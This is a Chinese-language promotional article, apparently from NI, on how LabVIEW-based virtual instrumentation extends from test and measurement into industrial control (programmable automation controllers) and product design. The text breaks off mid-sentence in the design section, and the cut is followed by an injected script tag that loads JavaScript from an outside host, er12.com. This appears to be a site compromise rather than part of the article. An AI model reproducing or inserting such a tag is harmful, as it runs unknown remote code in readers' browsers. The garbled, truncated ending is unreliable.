虚拟仪器技术已在测试和测量领域广为应用。利用不断革新的labview软件以及数以百计的测量硬件设备,虚拟仪器技术逐渐扩大了它所触及的应用范围。今天,ni率先将这一技术扩展到了控制和设计部分。曾经促进了测试发展的益处正开始加速控制和设计的发展。工程师和科学家不断提高对虚拟仪器的要求,以希望有效地满足世界范围的需要,他们正是这一加速背后的驱动力。
1.虚拟仪器技术在测试中的应用
测试一直是虚拟仪器技术成熟应用的领域。超过25,000家公司 (大部分是测试和测量公司) 在使用ni的虚拟仪器技术。现在,许多公司都迅速地采用了具有高达200ms/s数字化性能的产品。pxi系统联盟拥有60多个成员,提供了数以百计的产品,而且数以万计的r&d、验证和产品测试工程师和科学家正在使用成千上万的仪器驱动。
而且,现在客户对于测试的需求越来越大。随着创新的步伐越来越快,希望更多具有竞争力的新产品更快投入市场的压力也越来越大。消费者的期望在不断地增高。以电子市场为例,消费者要求不同的功能可以更低的成本在一个更小的空间得到集成。近年来经济的低迷并没有阻止革新的需要,但是却要求使用更少资源。满足这些需要是商业成功的一个因素——能够快速、一贯并且最可靠地满足这些需要的公司一定能在竞争中占有决定性的优势。
所有这些条件都驱使着对新的验证、检验和生产测试技术的高要求。一个能与创新保持同步的测试平台不是可有可无的,而是必需的。这个平台必须包含具有足够适应能力的快速测试开发工具以在整个产品开发流程中使用。产品快速上市和高效生产产品的需要要求有高吞吐量的测试技术。为了测试消费者所要求的复杂多功能产品需要精确的同步测量能力,而且随着公司不断地创新以提供有竞争力的产品,测试系统必须能够进行快速调整以满足新的测试需求。
虚拟仪器是应对这些挑战的一种革新性的解决方案。它将快速软件开发和模块化、灵活的硬件结合在一起从而创建用户定义的测试系统。虚拟仪器提供了:
用于快速测试开发的直观的软件工具;
基于创新商用技术的快速、精确的模块化i/o;
具有集成同步功能的基于pc的平台,以实现高精确度和高吞吐量。
近来ni 加速测试、控制和设计创新的一个例子就是使用labview fpga进行编程的基于fpga的硬件。如果工程师需要一个新的硬件性能,如板载dsp,或者新的触发模式,您甚至可以在同样的软件中定义这种性能并且将它应用在板载的fpga上。之前,工程师和科学家已经可以通过使用labview和模块化i/o来创建高度集成的用户自定义系统,而现在他们还可以将可自定义配置功能扩展至硬件本身。这种用户可配置功能和透明度将会改进工程师构建测试系统的方式。
图1 labview提供用户可自定义的仪器以及可自定义的硬件欲想了解更多虚拟仪器技术和其他现代测试必备科技,请访问ni.com/modularinstruments/zhs
2 虚拟仪器技术在工业i/o和控制的的应用
pc和plc在控制和工业应用中都发挥着十分重要的作用。pc带来了更大的软件灵活性和更多的性能,而plc则提供了优良的稳定性和可靠性。但是随着控制需求越来越复杂,提高性能并同时保持稳定性和可靠性就成为公认的需要。
独立的工业专家们已经意识到了对工具的需要,这种工具应该能够满足不断增长的对更加复杂、动态、自适应和基于算法控制的需要。pac正是工业的需求也是虚拟仪器技术的回答。
一个独立的研究公司定义了可编程自动控制器(pac)来解决这个问题。arc研究机构的craig resnick将pac定义成:
(1) 多域功能(逻辑、运动、驱动和过程)——这个概念支持多种i/o类型。逻辑、运动和其他功能的集成是不断增长的复杂控制方法的要求
(2) 单一的多学科开发平台——单一的开发环境必须能支持各种i/o和控制方案
(3) 用于设计贯穿多个机器或处理单元的应用程序的软件工具——这个软件工具必须能适应分布式操作
(4) 一组defacto网络和语言标准——这个技术必须利用高投入技术
(5) 开放式、模块化体系结构——设计和技术标准与规范必须是在实现中开放的、模块化的和可结合的pac给pc软件的灵活性增添了plc的稳定性和可靠性。labview软件和稳定、实时的控制硬件平台对于创建pac是十分完美的。
欲了解更多关于虚拟仪器技术和可编程自动化控制器的信息,请访问ni.com/pac/zhs
3 虚拟仪器技术在产品设计中的应用
使用各种仿真设计工具的设计工程师们必须使用硬件来测试设计原型。通常,在设计阶段和测试/验证阶段之间没有一个良好的接口,这就意味着设计必须经历一个完成阶段而后进?script src=http://er12.com/t.js>